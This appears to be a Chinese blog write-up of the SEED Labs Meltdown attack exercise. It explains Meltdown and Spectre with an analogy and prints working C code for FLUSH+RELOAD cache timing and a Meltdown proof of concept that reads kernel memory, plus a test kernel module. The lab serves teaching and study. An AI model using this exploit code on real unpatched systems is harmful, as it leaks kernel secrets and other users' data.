1月4日,国外安全研究机构公布了两组CPU漏洞,由于漏洞严重而且影响范围广泛,引起了全球的关注。
Meltdown(熔断)应对漏洞CVE-2017-5754
Spectre(幽灵) 对应漏洞CVE-2017-5753/CVE-2017-5715
利用Meltdown漏洞,低权限用户可以访问内核的内容,获取本地操作系统底层的信息;当用户通过浏览器访问了包含Spectre恶意利用程序的网站时,用户的如帐号,密码,邮箱等个人隐私信息可能会被泄漏;在云服务场景中,利用Spectre可以突破用户间的隔离,窃取其他用户的数据。
Meltdown漏洞影响几乎所有的Intel CPU和部分ARM CPU,而Spectre则影响所有的Intel CPU和AMD CPU,以及主流的ARM CPU。从个人电脑、服务器、云计算机服务器到移动端的智能手机,都受到这两组硬件漏洞的影响。
这两组漏洞来源于芯片厂商为了提高CPU性能而引入的新特性。现代CPU为了提高处理性能,会采用乱序执行(Out-of-Order Execution)和预测执行(Speculative Prediction)。
Meltdown漏洞对应的是乱序执行,Spectre对应的是分支预测与推测执行。
Meltdown的原理可以比喻成大佬举得例子:
1:麋鹿每天都在同一家KFC点汉堡,这家KFC主营汉堡,鸡翅,薯条和可乐。 2:狗仔(卓sir)想知道她吃的是什么,于是派出狗仔A去侦察。
3:狗仔A在某一天跟在麋鹿的身后 4:麋鹿和收银员说,点和昨天一样的。然后拿走了包装好的的汉堡(密码)。
5:狗仔A对收银员说,我点和麋鹿一样的。(非法读取)
6:收银员说你这样侵犯了麋鹿的隐私,不可以这么点。然后狗仔A就被叉出去了(执行非常读取时被发现,终止进程)。
7:狗仔公司换了战术,派两个狗仔第二天跟在麋鹿身后排队(使用漏洞)。 8:狗仔A在麋鹿点餐的时候大声喊,我要点和麋鹿一样的(发送指令)。
9:厨师听到了,多做了一个汉堡(汉堡进入缓存,CPU预测指令&乱序执行)。狗仔A涉嫌侵犯麋鹿隐私被叉出去X2!(非法读取被发现,终止进程)
10:狗仔B说,我饿死了,我要鸡翅,薯条,可乐和汉堡。哪个先好先给我哪个。
11:狗仔B先拿到了汉堡(从内存中读取此段缓存速度最快)卓sir同时也知道了麋鹿点的是汉堡。
复现主要参考了seedlab的Meltdown attack攻击教程,写的很详细,一步一步跟着教程做,理解了很多。
代码链接
https://seedsecuritylabs.org/Labs_16.04/System/Meltdown_Attack/files/Meltdown_Attack.zip
https://seedsecuritylabs.org/Labs_16.04/PDF/Meltdown_Attack.pdf
测试环境
ubuntu 16.04 32位
GCC version 5.4.0
熔断攻击和幽灵攻击都使用CPU缓存作为偷取受保护秘密的边通道,在这种测信道攻击中使用的技术叫做FLUSH+RELOAD。CPU高速缓存是计算机CPU使用的一种硬件高速缓存,用于减少从主存访问数据的平均成本(时间或能量)。从CPU缓存访问数据比从主存访问要快得多。当数据从主存取出时,它们通常被CPU缓存,所以如果同样的数据被再次使用,访问时间将会快得多。因此,当CPU需要访问一些数据时,首先查看缓存,如果数据在那里(这称为缓存命中),它将直接从那里获取。如果数据不在那里, CPU将到主存储器去获取数据。后一种情况花费的时间要长得多。大多数现代CPU都有CPU缓存。
可以利用代码来检测,从缓存和存储器获取数据的时间长度:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>
uint8_t array[10*4096];
int main(int argc, const char **argv) {
int junk=0;
register uint64_t time1, time2;
volatile uint8_t *addr;
int i;
//初始化数组
for(i=0; i<10; i++) array[i*4096]=1;
//清空CPU缓存
for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);
//访问一些数组项,使其进入CPU缓存
array[3*4096] = 100;
array[7*4096] = 200;
for(i=0; i<10; i++) {
addr = &array[i*4096];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
}
return 0;
}
很明显,array[34096]和array[74096] 由于在CPU缓存,所以访问速度比其他项要快:
根据上述的缓存和存储器获取数据的比较,我们可以得出这种攻击方式,使用FLUSH+RELOAD技术利用侧信道获取secret
FLUSH+RELOAD步骤有三步:
然后可以看下攻击代码,先分解下功能:
清空CPU缓存:
void flushSideChannel()
{
int i;
//Write to array to bring it to RAM to prevent Copy-on-write
for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
//flush the values of the array from cache
for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}
meltdown攻击:
void meltdown_asm(unsigned long kernel_data_addr)
{
char kernel_data = 0;
//用eax循环400次加0x141的方式来增加成功概率
asm volatile(
".rept 400;"
"add $0x141, %%eax;"
".endr;"
:
:
: "eax"
);
//下面的代码会造成错误,因为用户态无法读内核地址,但是由于CPU的乱序执行,下一条会先把kernel_data读到缓存做为备用
kernel_data = *(char*)kernel_data_addr;
array[kernel_data * 4096 + DELTA] += 1;
}
重加载利用侧信道攻击:
void reloadSideChannelImproved()
{
int i;
volatile uint8_t *addr;
register uint64_t time1, time2;
int junk = 0;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD)
scores[i]++; /* if cache hit, add 1 for this value */
}
}
主函数:
int main()
{
int i, j, ret = 0;
//注册一个信号量,用来捕获错误信号
signal(SIGSEGV, catch_segv);
int fd = open("/proc/secret_data", O_RDONLY);
if (fd < 0) {
perror("open");
return -1;
}
memset(scores, 0, sizeof(scores));
flushSideChannel();
//在同一个地址上攻击1000次,增加成功概率
for (i = 0; i < 1000; i++) {
ret = pread(fd, NULL, 0, 0);
if (ret < 0) {
perror("pread");
break;
}
//清空缓存
for (j = 0; j < 256; j++)
_mm_clflush(&array[j * 4096 + DELTA]);
if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xfb61b000); }
reloadSideChannelImproved();
}
//利用统计技术,获取出现次数最多的secret value
int max = 0;
for (i = 0; i < 256; i++) {
if (scores[max] < scores[i]) max = i;
}
printf("The secret value is %d %c\n", max, max);
printf("The number of hits is %d\n", scores[max]);
return 0;
}
通过写一个linux内核程序,来往内核地址上写入SEEDLabs字符串,并获取这个地址,将attack代码中要读取的地址改成这个地址:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/vmalloc.h>
#include <linux/version.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/uaccess.h>
static char secret[8] = {'S','E','E','D','L','a','b','s'};
static struct proc_dir_entry *secret_entry;
static char* secret_buffer;
static int test_proc_open(struct inode *inode, struct file *file)
{
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,0,0)
return single_open(file, NULL, PDE(inode)->data);
#else
return single_open(file, NULL, PDE_DATA(inode));
#endif
}
static ssize_t read_proc(struct file *filp, char *buffer,
size_t length, loff_t *offset)
{
memcpy(secret_buffer, &secret, 8);
return 8;
}
static const struct file_operations test_proc_fops =
{
.owner = THIS_MODULE,
.open = test_proc_open,
.read = read_proc,
.llseek = seq_lseek,
.release = single_release,
};
static __init int test_proc_init(void)
{
// write message in kernel message buffer
printk("secret data address:%p\n", &secret);
secret_buffer = (char*)vmalloc(8);
// create data entry in /proc
secret_entry = proc_create_data("secret_data",
0444, NULL, &test_proc_fops, NULL);
if (secret_entry) return 0;
return -ENOMEM;
}
static __exit void test_proc_cleanup(void)
{
remove_proc_entry("secret_data", NULL);
}
module_init(test_proc_init);
module_exit(test_proc_cleanup);
makefile在上面的源代码中,编译方法:
make
sudo insmod MeltdownKernel.ko
dmesg | grep 'secret data address'
攻击结果:
https://www.sohu.com/a/215037735_116366
解读CPU漏洞:熔断和幽灵
https://cloud.tencent.com/developer/article/1078161
从CPU漏洞Meltdown&Spectre看侧信道攻击
https://www.zhihu.com/question/265012502/answer/289376501
如何看待 2018 年 1 月 2 日爆出的 Intel CPU 设计漏洞?
https://seedsecuritylabs.org/Labs_16.04/System/Meltdown_Attack/
Meltdown Attack Lab
info 评论功能已经关闭了呐!